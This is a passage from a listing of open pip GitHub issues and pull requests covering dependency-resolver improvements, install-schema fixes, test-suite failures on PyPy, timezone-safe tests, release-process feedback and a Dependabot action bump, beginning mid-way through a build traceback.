        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 325, in get_requires_for_build_wheel
          return self._get_build_requires(config_settings, requirements=['wheel'])
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 295, in _get_build_requires
          self.run_setup()
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 480, in run_setup
          super().run_setup(setup_script=setup_script)
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 311, in run_setup
          exec(code, locals())
        File "<string>", line 13, in <module>
      ModuleNotFoundError: No module named 'torch'
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: blacksocket
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12524: state: open
title: Make --target functionality align with other install schemas
body: Fix for #10110

This patch makes target install packages directly to the target directory without installing to a temporary directory and the copying things to the final install location. This means `--upgrade` and `--ignore-installed` now work the same as `--prefix`. 

Additionally fixes: #9605 #10629
user: dwoz
issue_12523: state: open
title: When resolving two dependencies where one has an upper bound on the other, focus on the one that is upper bounded by the other
body: ### What's the problem this feature will solve?

When package `foo` has a dependency on package `bar` and gives an upper bound, e.g. `bar < 2` or `bar <= 1.3` then the dependency resolution should focus on `bar` not `foo`.

Often an upper bound is introduced like this because new versions of `bar` break `foo`, so even if older versions of `foo` don't explictly mention in their metadata that new versions of `bar` should not be installed they are probably still functionally incompatible.

Further if the upper bound has been in place for a very long time it avoids Pip backtracking to a version of `foo` that does not support the Python version the user is trying to install from, which is often represented by an sdist build failure which is very confusing to the user.

### Describe the solution you'd like

This would be implememented in the resolution process either using `get_preference`, or possibly `narrow_requirement_selection` if my PRs around that are accepted.

This would not affect the total possible solutions that Pip could find, it would just in some cases first find a solution with "better" versions or avoid backtracking to "bad" versions.

### Alternative Solutions

Do nothing.

### Additional context

In general this is a heuristic for based on real world behavior of package dependencies, not something that would hold true if all package versions had completely random dependencies. However, I beleive it would be intuitive to a user resolving dependencies by hand.

One real world example this should save significant resolution time on is conflicts between boto3 and urllib3, boto3 placed an upper bound on urllib3 and this can cause Pip to backtrack 100s of versions of boto3, where as backtracking just a few versions of urllib3 would find a solution quickly.

I plan to create a PR for this after I've had chance to work on my currently open PR for resolution improvement. But I have no problem if someone else wants to take this up.

I think this is a solid win, I write this GitHub issue in case there is any objection the Pip maintainers have that I hadn't considered.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12520: state: open
title: Pip install editable poetry package fails on conflicting package version, although the exact same version is required 
body: ### Description

Pip version resolver fails when installing Poetry package in editable mode if package is required both by TOML file & requirements.txt file:


```
INFO: pip is looking at multiple versions of first-library to determine which version is compatible with other requirements. This could take a while.
ERROR: Cannot install requirements.txt (line 1) and second-library 0.1.0 (from libs/second_library) because these package versions have conflicting dependencies.

The conflict is caused by:
    The user requested second-library 0.1.0 (from libs/second_library)
    first-library 0.1.0 depends on second-library 0.1.0 (from libs/second_library)

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict
```

### Expected behavior

_No response_

### pip version

Pip 24.0

### Python version

Python: 3.10.0

### OS

MacOS

### How to Reproduce

Create folder structure

```
requirements.txt
libs/first_library
libs/second_library
```

with requirements.txt content

```
-e ./libs/first_library
-e ./libs/second_library
```

first_library pyproject.toml dependencies

```
[tool.poetry.dependencies]
python = "^3.9"
second-library = {path = "../second_library", develop = true}
```

run 

`pip install -r requirements.txt`

### Output

```
The conflict is caused by:
    The user requested second-library 0.1.0 (from libs/second_library)
    first-library 0.1.0 depends on second-library 0.1.0 (from libs/second_library)
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: galCohen88
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12519: state: open
title: Fix remaining usages of `default-timeout` in docs
body: The configuration option has been renamed to `timeout`, but it looks like the change wasn't reflected in this part of the docs.

Could someone add the `skip news` label to the PR? I created it throught GitHub's UI, so adding the `.trivial.rst` file is cumbersome and I need to go back to what I was doing 😉 
user: aochagavia
issue_12518: state: open
title: Upgrade vendored dependencies
body: Upgrade vendored dependencies early in the 24.1 release cycle.

Missing here is certify (the patch does not apply), and of course, packaging.
user: sbidoul
issue_12517: state: open
title: Strip RIGHT-TO-LEFT OVERRIDE and LEFT-TO-RIGHT OVERRIDE characters from AUTHORS.txt
body: Since we don't know anything about the names, we assume anything in between RIGHT-TO-LEFT OVERRIDE and LEFT-TO-RIGHT OVERRIDE (or the end of the name) should be spelled backwards.

This resulted in a duplicate author name,
because it uses different Unicode form.
So I also added a call to unicodedata.normalize.

Fixes https://github.com/pypa/pip/issues/12467

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: hroncok
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
issue_12514: state: open
title: concurrent pip install fails due to race condition
body: ### Description

Please see #9470

I'm running in the exact same issue. For me, the original description sounds like an error in pip as pip is ignoring the `PermissionError` from the cachecontrol library.

pip is doing some Exception suppressing here https://github.com/pypa/pip/blob/51de88ca6459fdd5213f86a54b021a80884572f9/src/pip/_internal/network/cache.py#L22 which is probably breaking the workflow in the cachecontrol library. 

### Expected behavior

_No response_

### pip version

24.0

### Python version

3.11

### OS

Windows

### How to Reproduce

see #9470

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: schlamar
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12511: state: open
title: Test suite broken on PyPy3.10 (7.3.15) on Gentoo — pip seems to install straight into venv instead of tempdirs
body: ### Description

When running the pip's test suite with PyPy3.10 7.3.15 on Gentoo (and older versions), lots of tests fail. Upon investigating, I've discovered that `pip` operates on the test venv rather than the tempdirs, like it does for CPython.

For example:

```pytb
$ nox -e test-pypy3 -- -x
nox > Running session test-pypy3
nox > Creating virtual environment (virtualenv) using pypy3 in .nox/test-pypy3
nox > python tools/protected_pip.py wheel -w tests/data/common_wheels -r tests/requirements-common_wheels.txt
nox > python -m pip install setuptools
nox > python setup.py sdist --formats=zip --dist-dir /tmp/pip-24.0/.nox/test-pypy3/sdist
nox > python tools/protected_pip.py install /tmp/pip-24.0/.nox/test-pypy3/sdist/pip-24.0.zip
nox > python tools/protected_pip.py install -r tests/requirements.txt
nox > pytest -x
========================================================= test session starts =========================================================
platform linux -- Python 3.10.13[pypy-7.3.15-final], pytest-8.0.0, pluggy-1.4.0
rootdir: /tmp/pip-24.0
configfile: setup.cfg
plugins: xdist-3.5.0, rerunfailures-13.0, cov-4.1.0
collected 2545 items                                                                                                                  

tests/functional/test_bad_url.py .                                                                                              [  0%]
tests/functional/test_broken_stdout.py ...                                                                                      [  0%]
tests/functional/test_build_env.py ....F

============================================================== FAILURES ===============================================================
______________________________________________________ test_build_env_isolation _______________________________________________________

script = <tests.lib.PipTestEnvironment object at 0x00007fe02d042d40>

    @pytest.mark.usefixtures("enable_user_site")
    def test_build_env_isolation(script: PipTestEnvironment) -> None:
        # Create dummy `pkg` wheel.
        pkg_whl = create_basic_wheel_for_package(script, "pkg", "1.0")
    
        # Install it to site packages.
        script.pip_install_local(pkg_whl)
    
        # And a copy in the user site.
>       script.pip_install_local("--ignore-installed", "--user", pkg_whl)

tests/functional/test_build_env.py:241: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
tests/lib/__init__.py:745: in pip_install_local
    return self.pip(
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <tests.lib.PipTestEnvironment object at 0x00007fe02d042d40>
cwd = PosixPath('/tmp/pytest-of-mgorny/pytest-0/test_build_env_isolation0/workspace/scratch'), allow_stderr_error = False
allow_stderr_warning = False, allow_error = False, args = ('python', '-m', 'pip', 'install', '--no-index', '--find-links', ...)
kw = {'expect_stderr': True}, expect_error = None

    def run(
        self,
        *args: str,
        cwd: Optional[StrPath] = None,
        allow_stderr_error: Optional[bool] = None,
        allow_stderr_warning: Optional[bool] = None,
        allow_error: bool = False,
        **kw: Any,
    ) -> TestPipResult:
        """
        :param allow_stderr_error: whether a logged error is allowed in
            stderr.  Passing True for this argument implies
            `allow_stderr_warning` since warnings are weaker than errors.
        :param allow_stderr_warning: whether a logged warning (or
            deprecation message) is allowed in stderr.
        :param allow_error: if True (default is False) does not raise
            exception when the command exit value is non-zero.  Implies
            expect_error, but in contrast to expect_error will not assert
            that the exit value is zero.
        :param expect_error: if False (the default), asserts that the command
            exits with 0.  Otherwise, asserts that the command exits with a
            non-zero exit code.  Passing True also implies allow_stderr_error
            and allow_stderr_warning.
        :param expect_stderr: whether to allow warnings in stderr (equivalent
            to `allow_stderr_warning`).  This argument is an abbreviated
            version of `allow_stderr_warning` and is also kept for backwards
            compatibility.
        """
        if self.verbose:
            print(f">> running {args} {kw}")
    
        cwd = cwd or self.cwd
        if sys.platform == "win32":
            # Partial fix for ScriptTest.run using `shell=True` on Windows.
            args = tuple(re.sub("([&|<>^])", r"^\1", str(a)) for a in args)
    
        if allow_error:
            kw["expect_error"] = True
    
        # Propagate default values.
        expect_error = kw.get("expect_error")
        if expect_error:
            # Then default to allowing logged errors.
            if allow_stderr_error is not None and not allow_stderr_error:
                raise RuntimeError(
                    "cannot pass allow_stderr_error=False with expect_error=True"
                )
            allow_stderr_error = True
    
        elif kw.get("expect_stderr"):
            # Then default to allowing logged warnings.
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    "cannot pass allow_stderr_warning=False with expect_stderr=True"
                )
            allow_stderr_warning = True
    
        if allow_stderr_error:
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    "cannot pass allow_stderr_warning=False with "
                    "allow_stderr_error=True"
                )
    
        # Default values if not set.
        if allow_stderr_error is None:
            allow_stderr_error = False
        if allow_stderr_warning is None:
            allow_stderr_warning = allow_stderr_error
    
        # Pass expect_stderr=True to allow any stderr.  We do this because
        # we do our checking of stderr further on in check_stderr().
        kw["expect_stderr"] = True
        # Ignore linter check
        # B026 Star-arg unpacking after a keyword argument is strongly discouraged
>       result = super().run(cwd=cwd, *args, **kw)  # noqa: B026
E       AssertionError: Script returned code: 1

tests/lib/__init__.py:706: AssertionError
-------------------------------------------------------- Captured stdout call ---------------------------------------------------------
Script result: python -m pip install --no-index --find-links file:///tmp/pip-24.0/tests/data/packages --ignore-installed --user /tmp/pytest-of-mgorny/pytest-0/test_build_env_isolation0/workspace/scratch/pkg-1.0-py2.py3-none-any.whl
  return code: 1
-- stderr: --------------------
ERROR: Can not perform a '--user' install. User site-packages are not visible in this virtualenv.

========================================================== warnings summary ===========================================================
.nox/test-pypy3/lib/pypy3.10/site-packages/pip/_internal/metadata/pkg_resources.py:8
  /tmp/pip-24.0/.nox/test-pypy3/lib/pypy3.10/site-packages/pip/_internal/metadata/pkg_resources.py:8: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
    from pip._vendor import pkg_resources

-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html
======================================================= short test summary info =======================================================
FAILED tests/functional/test_build_env.py::test_build_env_isolation - AssertionError: Script returned code: 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! stopping after 1 failures !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
=============================================== 1 failed, 8 passed, 1 warning in 40.88s ===============================================
nox > Command pytest -x failed with exit code 1
nox > Session test-pypy3 failed.
$ ls .nox/test-pypy3/lib/pypy3.10/site-packages/
bar                             freezegun                     pluggy                               six-1.16.0.dist-info
bar-3.0.dist-info               freezegun-1.4.0.dist-info     pluggy-1.4.0.dist-info               six.py
coverage                        iniconfig                     __pycache__                          tomli
coverage-7.4.1.dist-info        iniconfig-2.0.0.dist-info     py.py                                tomli-2.0.1.dist-info
cryptography                    installer                     _pytest                              tomli_w
cryptography-42.0.2.dist-info   installer-0.7.0.dist-info     pytest                               tomli_w-1.0.0.dist-info
dateutil                        markupsafe                    pytest-8.0.0.dist-info               virtualenv
distlib                         MarkupSafe-2.1.5.dist-info    pytest_cov                           virtualenv-20.25.0.dist-info
distlib-0.3.8.dist-info         other                         pytest_cov-4.1.0.dist-info           _virtualenv.pth
_distutils_hack                 other-0.5.dist-info           pytest-cov.pth                       _virtualenv.py
distutils-precedence.pth        packaging                     pytest_rerunfailures-13.0.dist-info  werkzeug
exceptiongroup                  packaging-23.2.dist-info      pytest_rerunfailures.py              werkzeug-3.0.1.dist-info
exceptiongroup-1.2.0.dist-info  pip                           pytest_xdist-3.5.0.dist-info         wheel
execnet                         pip-24.0.dist-info            python_dateutil-2.8.2.dist-info      wheel-0.42.0.dist-info
execnet-2.0.2.dist-info         pkg                           scripttest-1.3.dist-info             wheel-0.42.0.virtualenv
filelock                        pkg-1.0.dist-info             scripttest.py                        xdist
filelock-3.13.1.dist-info       pkg_resources                 setuptools
foo                             platformdirs                  setuptools-69.0.3.dist-info
foo-2.0.dist-info               platformdirs-4.2.0.dist-info  setuptools-69.0.3.virtualenv
```

Note `bar` and `foo` packages. If I let the test suite run longer, soon enough `pip` actually gets uninstalled from there.

Now, I don't know why it happens on our install and not on CI. We aren't patching PyPy in any relevant way. The install is reasonably straightforward. It involves, roughly:

```
/usr/bin/pypy3 -> pypy3.10
/usr/bin/pypy3.10 -> pypy3.10-c-7.3.15
/usr/bin/pypy3.10-c-7.3.15
/usr/lib/pypy3.10/**
/usr/include/pypy3.10/**
```

I'd be glad to debug it if you give me some hints.

### Expected behavior

Most of the tests passing, and not wreaking havoc in venv.

### pip version

24.0

### Python version

PyPy3.10 7.3.15

### OS

Gentoo Linux amd64

### How to Reproduce

1. Get a Gentoo install ;-).
2. `emerge pypy3 nox`
3. `nox -e test-pypy3`

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mgorny
labels: type: bug: A confirmed bug or unintended behavior
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_12509: state: open
title: Feedback about the release process
body: The current release processes bumps the version, generates things (NEWS.rst, AUTHORS.rst), then creates a git tag, then bumps the version again for development.

When, say, NEWS.rst needs to be tweaked, the process is a little bit cumbersome. One needs to update the file, commit, reorder the commits so the bump for development commits is last, then delete the tag and re-create it.

I open this issue to discuss how we could make things a little bit easier (or find out if I missed something).

One possibility would be to have two nox actions: one to prepare the release branch, and a second one to tag and bump for development.
user: sbidoul
issue_12508: state: open
title: In test cases, use `gmtime` to avoid timezone & daylight savings issues
body: This is _just_ a fix to a few test cases; it does not make any changes to the pip source code.

I'm in Sydney, Australia, and just started looking at the pip code for the first time.

First thing I do is clone and run the test via `nox`.  I found test cases failing because of a difference in time stamps found on log messages.  Looking further, I see that someone had already had the sense to use `time.timezone` to adjust the `timet` style timestamps into local times.  However, this adjustment fails when in Sydney as the baked-in date used by the testcases (1547704837.040001 / 2019-01-17T06:00:37,040) falls within daylight savings here, and so the formatted time becomes "2019-01-17T07:00:37,040" - an hour ahead.

I've had enough pain with python, timestamp and time-zones to NOT want to have to make pip a test-bed for all of python's time-zone shortcoming, so the fix in this PR is to have these test cases monkey-patch the root `logging.Formatter` to use `converter=time.gmtime`, and to remove the earlier  `time.timezone` adjustments.  This now allows the tests cases to pass in southern hemisphere geographies that observe daylight savings.
user: dereksz
issue_12504: state: open
title: Bump dorny/paths-filter from 2 to 3
body: Bumps [dorny/paths-filter](https://github.com/dorny/paths-filter) from 2 to 3.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a href="https://github.com/dorny/paths-filter/releases">dorny/paths-filter's releases</a>.</em></p>
<blockquote>
<h2>v3.0.0</h2>
<h2>What's Changed</h2>
<ul>
<li>Update README.md: added real world usage example by <a href="https://github.com/iamtodor"><code>@​iamtodor</code></a> in <a href="https://redirect.github.com/dorny/paths-filter/pull/178">dorny/paths-filter#178</a></li>
<li>Update Node.js to version 20 by <a href="https://github.com/danielhjacobs"><code>@​danielhjacobs</code></a> in <a href="https://redirect.github.com/dorny/paths-filter/pull/206">dorny/paths-filter#206</a></li>
<li>Update to nodejs 20 by <a href="https://github.com/dorny"><code>@​dorny</code></a> in <a href="https://redirect.github.com/dorny/paths-filter/pull/210">dorny/paths-filter#210</a></li>
<li>chore(deps): bump checkout action to v4 and use setup-node to setup node and cache npm deps by <a href="https://github.com/chenrui333"><code>@​chenrui333</code></a> in <a href="https://redirect.github.com/dorny/paths-filter/pull/211">dorny/paths-filter#211</a></li>
<li>Update all dependencies by <a href="https://github.com/dorny"><code>@​dorny</code></a> in <a href="https://redirect.github.com/dorny/paths-filter/pull/215">dorny/paths-filter#215</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a href="https://github.com/iamtodor"><code>@​iamtodor</code></a> made their first contribution in <a href="https://redirect.github.com/dorny/paths-filter/pull/178">dorny/paths-filter#178</a></li>
<li><a href="https://github.com/danielhjacobs"><code>@​danielhjacobs</code></a> made their first contribution in <a href="https://redirect.github.com/dorny/paths-filter/pull/206">dorny/paths-filter#206</a></li>
<li><a href="https://github.com/chenrui333"><code>@​chenrui333</code></a> made their first contribution in <a href="https://redirect.github.com/dorny/paths-filter/pull/211">dorny/paths-filter#211</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a href="https://github.com/dorny/paths-filter/compare/v2.11.1...v3.0.0">https://github.com/dorny/paths-filter/compare/v2.11.1...v3.0.0</a></p>
<h2>v2.11.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/167">Update <code>@​actions/core</code> to v1.10.0 - Fixes warning about deprecated set-output</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/168">Document need for pull-requests: read permission</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/164">Updating to actions/checkout@v3</a></li>
</ul>
<h2>v2.11.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/157">Set list-files input parameter as not required</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/161">Update Node.js</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/162">Fix incorrect handling of Unicode characters in exec()</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/163">Use Octokit pagination</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/160">Updates real world links</a></li>
</ul>
<h2>v2.10.2</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/91">Fix getLocalRef() returns wrong ref</a></li>
</ul>
<h2>v2.10.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/85">Improve robustness of change detection</a></li>
</ul>
<h2>v2.10.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/82">Add ref input parameter</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/83">Fix change detection in PR when <code>pullRequest.changed_files</code> is incorrect</a></li>
</ul>
<h2>v2.9.3</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/78">Fix change detection when base is a tag</a></li>
</ul>
<h2>v2.9.2</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/75">Fix fetching git history</a></li>
</ul>
<h2>v2.9.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/74">Fix fetching git history + fallback to unshallow repo</a></li>
</ul>
<h2>v2.9.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/68">Add list-files: csv format</a></li>
</ul>
<h2>v2.8.0</h2>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a href="https://github.com/dorny/paths-filter/blob/master/CHANGELOG.md">dorny/paths-filter's changelog</a>.</em></p>
<blockquote>
<h1>Changelog</h1>
<h2>v3.0.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/210">Update to Node.js 20 </a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/215">Update all dependencies</a></li>
</ul>
<h2>v2.11.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/167">Update <code>@​actions/core</code> to v1.10.0 - Fixes warning about deprecated set-output</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/168">Document need for pull-requests: read permission</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/164">Updating to actions/checkout@v3</a></li>
</ul>
<h2>v2.11.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/157">Set list-files input parameter as not required</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/161">Update Node.js</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/162">Fix incorrect handling of Unicode characters in exec()</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/163">Use Octokit pagination</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/160">Updates real world links</a></li>
</ul>
<h2>v2.10.2</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/91">Fix getLocalRef() returns wrong ref</a></li>
</ul>
<h2>v2.10.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/85">Improve robustness of change detection</a></li>
</ul>
<h2>v2.10.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/82">Add ref input parameter</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/83">Fix change detection in PR when pullRequest.changed_files is incorrect</a></li>
</ul>
<h2>v2.9.3</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/78">Fix change detection when base is a tag</a></li>
</ul>
<h2>v2.9.2</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/75">Fix fetching git history</a></li>
</ul>
<h2>v2.9.1</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/74">Fix fetching git history + fallback to unshallow repo</a></li>
</ul>
<h2>v2.9.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/68">Add list-files: csv format</a></li>
</ul>
<h2>v2.8.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/65">Add count output variable</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/61">Fix log grouping of changes</a></li>
</ul>
<h2>v2.7.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/59">Add &quot;changes&quot; output variable to support matrix job configuration</a></li>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/58">Improved listing of matching files with <code>list-files: shell</code> and <code>list-files: escape</code> options</a></li>
</ul>
<h2>v2.6.0</h2>
<ul>
<li><a href="https://redirect.github.com/dorny/paths-filter/pull/53">Support local changes</a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a href="https://github.com/dorny/paths-filter/commit/0bc4621a3135347011ad047f9ecf449bf72ce2bd"><code>0bc4621</code></a> Bump major version to v3</li>
<li><a href="https://github.com/dorny/paths-filter/commit/7267a8516b6f92bdb098633497bad573efdbf271"><code>7267a85</code></a> Update CHANGELOG for v2.12.0</li>
<li><a href="https://github.com/dorny/paths-filter/commit/e36f1124bf7d4849984518d6d3c52cceead221f4"><code>e36f112</code></a> Merge pull request <a href="https://redirect.github.com/dorny/paths-filter/issues/215">#215</a> from dorny/update-dependencies</li>
<li><a href="https://github.com/dorny/paths-filter/commit/2f74457227764299eb71f72c23ec2dd68b68d509"><code>2f74457</code></a> Update all dependencies</li>
<li><a href="https://github.com/dorny/paths-filter/commit/67617953b4001d04fd3ced8df881d9ba1d08da9c"><code>6761795</code></a> Update examples in README  to use checkout@v4</li>
<li><a href="https://github.com/dorny/paths-filter/commit/a35d8d6a333efe86eeb5d0c5d4a7a2622cc3e8cf"><code>a35d8d6</code></a> Merge pull request <a href="https://redirect.github.com/dorny/paths-filter/issues/211">#211</a> from chenrui333/node-20</li>
<li><a href="https://github.com/dorny/paths-filter/commit/b5a5203f8b3312399faee023c83cf5e5dcaecae4"><code>b5a5203</code></a> chore(deps): bump checkout action to v4 and use setup-node to setup node and ...</li>
<li><a href="https://github.com/dorny/paths-filter/commit/3c49e64ca26115121162fb767bc6af9e8d059f1a"><code>3c49e64</code></a> Merge pull request <a href="https://redirect.github.com/dorny/paths-filter/issues/210">#210</a> from dorny/use-nodejs-20</li>
<li><a href="https://github.com/dorny/paths-filter/commit/8ec7be473424d724f09d3c51b7962ae5f2ffcbab"><code>8ec7be4</code></a> Update to nodejs 20</li>
<li><a href="https://github.com/dorny/paths-filter/commit/100a1198b209450115509c0565d407ac269190dc"><code>100a119</code></a> Revert back to node16</li>
<li>Additional commits viewable in <a href="https://github.com/dorny/paths-filter/compare/v2...v3">compare view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=dorny/paths-filter&package-manager=github_actions&previous-version=2&new-version=3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)


</details>
user: dependabot[bot]
labels: C: dependency resolution: About choosing which dependencies to install
issue_12499: state: open
title: Prefer direct conflicting causes when backtracking
body: Fixes: https://github.com/pypa/pip/issues/12498

This PR introduces enhancements to Pip's dependency resolution logic. Below is a description of the three main functions implemented in this PR:

* `_causes_with_conflicting_parent`
   - This function identifies causes of conflict where a cause's parent requirement conflicts with another cause, or is not satisfied by them. It helps pinpoint critical conflicts, allowing the resolver to focus on significant barriers in the dependency graph.

*  `_first_causes_with_no_candidates`
   - This function finds at least one pair of causes whose combined specifiers have no possible candidates. It groups causes by name to minimize comparisons, then evaluates if combined specifiers lead to a scenario where no candidates are available. Due to the complexity of statically evaluating Python packaging specifiers, this function dynamically tests the combined specifier against potential candidates. Since this evaluation can be resource-intensive, the function exits early as soon as one incompatible pair is found.

* `narrow_requirement_selection`
   - This method filters all potential causes to unsatisfied names that are direct conflicts identified by the new functions. Implementing this logic via `get_preferences` would lead to an adverse performance impact, introducing expensive new calls and potentially creating O(n^2) situations.


user: notatallshaw
issue_12498: state: open
title: Optimize Backtracking in Pip's Dependency Resolution By Prioritizing Direct Conflicts
body: ### What's the problem this feature will solve?

In complex dependency resolution scenarios, Pip currently may backtrack inefficiently, especially when dealing with direct conflicts in requirements that are just a subset of the possible "causes" that resolvelib returns.

This inefficiency leads to real-world users experiencing "ResolutionTooDeep" issues, as seen in https://github.com/pypa/pip/issues/12489, https://github.com/pypa/pip/issues/12430, and https://github.com/pypa/pip/issues/12395.

### Describe the solution you'd like
The proposed solution introduces optimization techniques in Pip's dependency resolution logic that prioritize backtracking on direct conflicts. Inspired by conflict-driven clause learning (CDCL), a core principle in SAT solvers, the aim is to focus on the most impactful conflicts during backtracking, thereby streamlining the resolution process.

The goal is to prioritize direct conflicts within the identified backtracking causes. For example, two candidates specifying conflicting requirements like "numpy<2" and "numpy>2", or a situation where one candidate requires "pandas<2" while another has parent "pandas 2.1.0". By focusing on these critical conflict points, the algorithm can more efficiently navigate the complex dependency graph.

